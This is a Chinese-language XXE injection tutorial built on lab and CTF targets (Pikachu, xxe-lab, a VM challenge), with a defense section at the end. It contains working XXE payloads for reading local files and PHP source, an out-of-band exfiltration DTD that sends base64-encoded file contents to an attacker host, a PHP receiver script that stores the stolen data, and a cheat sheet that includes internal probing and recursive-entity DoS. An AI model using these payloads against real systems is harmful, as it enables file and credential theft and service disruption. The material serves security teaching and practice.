XXE 漏洞

📅 2026/8/3 12:23:30
XXE 漏洞
XXE 漏洞 — 当 XML 解析器帮你偷文件SQL 注入是对数据库下手XSS 是往页面里塞 JSSSRF 是让服务器当跳板。今天来一个冷门但杀伤力极大的XXEXML 外部实体注入。它不需要花里胡哨的技巧只需要几行 XML就能让服务器乖乖把内部文件读给你看。从原理到两次 Base64 解密拿 Flag一路通关。课程概览1. XML 基础概念、与 HTML 的区别、实际应用 2. XXE 是什么有哪些危害 3. 有回显 XXE直接读取文件 4. 无回显 XXE盲打进带出的艺术 5. xxe-lab 靶场实战 6. 综合案例虚拟机靶场通关拿 Flag 7. XXE 防御与修复一、XML 基础快速复习XXE 的本质是利用了 XML 解析器对外部实体的信任。所以学 XXE 之前必须知道 XML 是什么。1.1 XML 概念XML 被设计为传输和存储数据它把数据从 HTML 中分离出来是独立于软件和硬件的信息传输工具。一个标准的 XML 文档包含三部分XML 声明 → ?xml version1.0? DTD 定义 → !DOCTYPE ... 可选文档类型定义 文档元素 → root实际数据/root1.2 XML vs HTML对比XMLHTML设计目的传输和存储数据显示数据关注焦点数据的内容数据的外观标签自定义标签预定义标签严格性格式严格错一点就报错容错性强一句话HTML 用来展示XML 用来传输。1.3 XML 的实际应用如果你做过 Java 开发这些文件你一定见过文件用途pom.xmlMaven 项目依赖配置web.xmlJava Web 应用的部署描述符mybatis/mapper.xmlMyBatis 数据库映射配置这说明 XML 在企业应用中无处不在也意味着 XXE 的攻击面非常广。二、XXE 概念与危害2.1 什么是 XXEXXE 全称XML External Entity Injection中文XML 外部实体注入。原理一句话应用程序解析 XML 时没有禁止外部实体的加载攻击者可以构造恶意的 XML 让解析器去读取本地文件、发起网络请求、探测内网端口等。2.2 XXE 能造成哪些危害危害说明读取任意文件file:///etc/passwd拿服务器用户列表命令执行配合特定环境执行系统命令内网端口扫描探测内网存活主机和开放端口攻击内网网站以服务器为跳板对内网发起攻击DoS 攻击实体嵌套导致解析器资源耗尽⚠️ 需要 Apache 5.4 版本部分 PHP 环境中 XXE 才有实际效果。2.3 案例XXE 有回显读取文件第一步准备被读取的文件在桌面建一个1.txt内容随意比如Hello World! 这是敏感数据路径为C:\Users\Administrator\Desktop\1.txt第二步打开 Pikachu 靶场 XXE 页面http://localhost/pikachu/vul/xxe/xxe_1.php第三步构造 XXE Payload?xml version 1.0?!DOCTYPEany[!ENTITY xxe SYSTEM file:///C://Users//Administrator//Desktop//1.txt]fooxxe;/foo逐行拆解?xml version1.0? → XML 声明 !DOCTYPE any[ → DTD 定义any 是根元素名随便写 !ENTITY xxe SYSTEM file:///C://...1.txt → 定义外部实体 xxe指向本地文件 ] fooxxe;/foo → 在 foo 标签中引用实体 xxe;xxe;会被替换为1.txt文件的内容。注意实体名xxe随便写a、abc、file都行。等价写法实体名可以随便取?xml version 1.0?!DOCTYPEany[!ENTITY a SYSTEM file:///C://Users//Administrator//Desktop//1.txt]ba;/b更猛的操作读取系统 hosts 文件?xml version 1.0?!DOCTYPEany[!ENTITY a SYSTEM file:///C:/Windows/System32/drivers/etc/hosts]ba;/b也可以定义内部实体不读文件纯测试?xml version 1.0?!DOCTYPEa[!ENTITYa嘻嘻]ca;/c提交后页面显示「嘻嘻」→ 说明 XML 解析器正常工作XXE 测试环境确认无误2.4 案例XXE 无回显盲 XXE— 外带数据很多时候 XXE 没有回显——你读了文件但页面不显示内容。怎么办把数据带出来。基本原理1. 目标服务器解析 XXE → 读取文件内容 2. 将文件内容编码后作为 URL 参数 3. 向攻击者的服务器发起 HTTP 请求 4. 攻击者的 get.php 接收并保存数据环境准备修改靶场让它无回显修改\pikachu\vul\xxe\xxe_1.php去掉正常的回显让它变成一个「无回显」页面。三步走攻击第一步主攻击脚本贴到 Pikachu 输入框?xml version 1.0?!DOCTYPEANY[!ENTITY % dtd SYSTEM http://192.168.220.135/vil.dtd %dtd;]%dtd;引用攻击者服务器上的外部 DTD 文件vil.dtd。第二步在攻击者虚拟机Win10上创建 vil.dtd!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourceC://Users//Administrator//Desktop//1.txt !ENTITY % all !ENTITY#x25;send SYSTEM http://192.168.220.135/get.php?file%file; %all; %send;逐步拆解!ENTITY % file SYSTEM php://filter/... → 定义参数实体 %file读取目标文件并 Base64 编码 !ENTITY % all !ENTITY #x25; send SYSTEM http://...?file%file; → 利用 %file 的值构造一个动态的 %send 实体 → %send 就是向攻击者服务器发送 HTTP 请求URL 参数中附带文件内容 %all; → 执行 %all → 动态生成 %send 实体 %send; → 执行 %send → 向攻击者服务器发起带数据的请求第三步在攻击者虚拟机上创建 get.php?php$data$_GET[file];$myfilefopen(file.txt,w);fwrite($myfile,$data);fclose($myfile);?攻击完成访问http://192.168.220.135/file.txt→ 看到 Base64 编码的文件内容 → 解码 → 原始文件到手2.5 无回显 XXE 的三个关键疑问Q1为什么需要嵌套%all这一层!-- 下面这种写法会报错 --!DOCTYPEupdateProfile[!ENTITY % file SYSTEM php://filter/... !ENTITY % send SYSTEM http://127.0.0.1/get.php?file%file %send;]XML 解析器不会解析同一层级的参数实体。必须把%send的定义放到%all里面由%all去动态生成%send才能让%file的值被正确替换进去。Q2为什么必须引用外部 DTD 文件在DTD 内部子集中不允许在标记声明中引用参数实体。必须使用外部 DTD即单独的.dtd文件来绕过这个限制。!-- 必须这样引用外部文件 --!DOCTYPEANY[!ENTITY % dtd SYSTEM http://攻击者IP/vil.dtd %dtd;]Q3#x25;是什么#x25;是%号的 HTML 实体编码。直接写%在实体内部会被解析器误以为是参数实体声明符所以用#x25;替代等解析时再转回%。三、靶场实战xxe-lab3.1 环境http://localhost/xxe/3.2 登录并拦截打开http://localhost/xxe/随便输入用户名密码用 Burp Suite 拦截请求发现请求体是XML 格式→ 潜在 XXE 攻击点发送到 Repeater重试模块3.3 验证 XXE 漏洞在 Repeater 中将请求体替换为!DOCTYPEANY[!ENTITY file SYSTEM file:///C://Users//Administrator//Desktop//1.txt]userusernamefile;/usernamepassword12313/password/user返回了1.txt的内容 →XXE 漏洞确认3.4 获取用户名密码但我们不知道后台的验证逻辑如何拿到真正的用户名密码直接读取登录处理的 PHP 源码!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourcedoLogin.php]userusernamefile;/usernamepassword12313/password/user关键技术php://filter/readconvert.base64-encode/resource文件路径PHP 的php://filter伪协议能读取文件并以 Base64 编码返回。不直接用file://的原因如果文件是 PHP 代码PHP 解析器会执行它而不是输出源码用 Base64 编码就能绕过执行拿到原始代码。解密访问 https://base64.us/ 将返回的 Base64 解码 → 得到doLogin.php的源码 → 源码中硬编码了用户名和密码用拿到的账号密码登录 →登录成功四、综合案例虚拟机靶场通关这是一个模拟真实攻防的复杂靶场需要经过端口扫描 → 目录扫描 → XXE 探测 → 多步读取 → 两次解密才能拿到 Flag。4.1 环境安装在 VMware 中通过.ovf文件导入靶场虚拟机网络模式设置为NAT减少探测范围4.2 端口扫描 — 定位目标在 Kali 中扫描 NAT 网段sudosuroot nmap192.168.220.1/24发现192.168.220.136开放了80 端口→ 这就是目标访问http://192.168.220.136→ 看到 Web 页面。4.3 目录扫描# 用 nmap 脚本扫描nmap-sV192.168.220.136--scriptdefault发现关键路径http://192.168.220.136/robots.txt ← 信息泄露 http://192.168.220.136/xxe/ ← XXE 功能点4.4 XXE 漏洞探测访问http://192.168.220.136/xxe/→ 登录页面用 BP 拦截 → XML 格式 →XXE 攻击点第一步读取 xxe.php 源码?xml version1.0 encodingUTF-8?!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourcexxe.php]rootnamefile;/namepassword123213/password/rootBase64 解码后得到?phplibxml_disable_entity_loader(false);// 未禁止外部实体漏洞根源$xmlfilefile_get_contents(php://input);$domnewDOMDocument();$dom-loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);$infosimplexml_import_dom($dom);$name$info-name;$password$info-password;echoSorry, this$namenot available!;// 永远显示错误但能被 XXE 截胡?发现这个页面无论输入什么都返回错误 — 但这不重要XXE 能读取它背后的文件第二步读取 admin.php 获取后台密码?xml version1.0 encodingUTF-8?!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourceadmin.php]rootnamefile;/namepassword123213/password/rootBase64 解码后得到 admin.php 源码从中提取出用户名administhebest 密码 admin123经过 MD5 解密 → https://cmd5.com/第三步登录后台访问http://192.168.220.136/xxe/admin.php→ 输入上面拿到的用户名密码 →登录成功页面提示 Flag 在某个地方但直接访问该链接发现「不容许访问」→ 继续用 XXE 读第四步读取 flagmeout.php?xml version1.0 encodingUTF-8?!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourceflagmeout.php]rootnamefile;/namepassword123213/password/rootBase64 解码后得到?php$flag!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) --;echo$flag;?Flag 经过了两层编码第五步两次解密密文密文JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5第一次解密 — Base32JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 → (Base32 解码) → L2V0Yy8uZmxhZy5waHABase32 解码工具https://www.bejson.com/encrypt/base32/第二次解密 — Base64L2V0Yy8uZmxhZy5waHA → (Base64 解码) → /etc/.flag.php隐藏文件.flag.php在/etc/目录下文件名前的.表示 Linux 隐藏文件。第六步读取最终的 Flag?xml version1.0 encodingUTF-8?!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resource/etc/.flag.php]rootnamefile;/namepassword123213/password/rootBase64 解码 → 得到一段混淆的 PHP 代码 → 使用在线 PHP 代码执行工具运行https://code.y444.cn/https://www.toolnb.com/dev/runCode.html输出内容{xxe_is_so_easy}— Flag 到手综合案例通关路线图nmap 扫端口 → 找到 192.168.220.136:80 ↓ 目录 / 文件扫描 → 发现 robots.txt /xxe/ 登录页 ↓ BP 拦截 XXE 登录请求 → 验证 XML 解析 XXE ↓ 读取 xxe.php → 确认漏洞 了解代码逻辑 ↓ 读取 admin.php → 拿到 admin123MD5 解密 ↓ 登录后台 → 发现 flagmeout.php 链接不容许访问 ↓ 读取 flagmeout.php → 拿到 Base32 密文 ↓ Base32 → Base64 两次解密 → /etc/.flag.php ↓ 读取 /etc/.flag.php → 混淆 PHP 代码 ↓ 在线运行 PHP 代码 → {xxe_is_so_easy}五、XXE 漏洞防御防御方法禁止外部实体在xxe.php中修改代码// XXE 漏洞防御// 禁止外部实体 — libxml_disable_entity_loader 必须为 truelibxml_disable_entity_loader(true);验证修复效果再次对http://localhost/xxe/发起 XXE 攻击!DOCTYPEANY[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourcedoLogin.php]userusernamefile;/usernamepassword12313/password/user无法读取文件内容 →XXE 漏洞已被修复防御总结措施说明禁用外部实体libxml_disable_entity_loader(true)过滤 XML 输入过滤DOCTYPE、ENTITY、SYSTEM等关键字使用白名单协议仅允许安全的协议拒绝file://、ftp://等升级 XML 解析器使用默认禁用外部实体加载的新版解析器WAF 拦截开 WAF 检测 XXE 攻击特征六、XXE Payload 速查表场景Payload有回显读文件!ENTITY xxe SYSTEM file:///path/to/file读 PHP 源码!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourcexxx.php无回显外带!ENTITY % dtd SYSTEM http://攻击者IP/vil.dtd %dtd;内网探测!ENTITY xxe SYSTEM http://192.168.1.1:80DoS 攻击递归实体嵌套!ENTITY a b;b;b;b;b;...七、课后作业综合案例对虚拟机靶场进行完整 XXE 攻击拿到最终 Flag{xxe_is_so_easy}。写在最后XXE 是一个看似冷门但杀伤力极大的漏洞——只需几行 XML就能让服务器把内部文件拱手送上。很多开发者以为 XML 只是数据格式没意识到它能加载外部实体从而埋下大雷。搞定 XXE你的漏洞挖掘武器库又多了件神兵利器。下一课见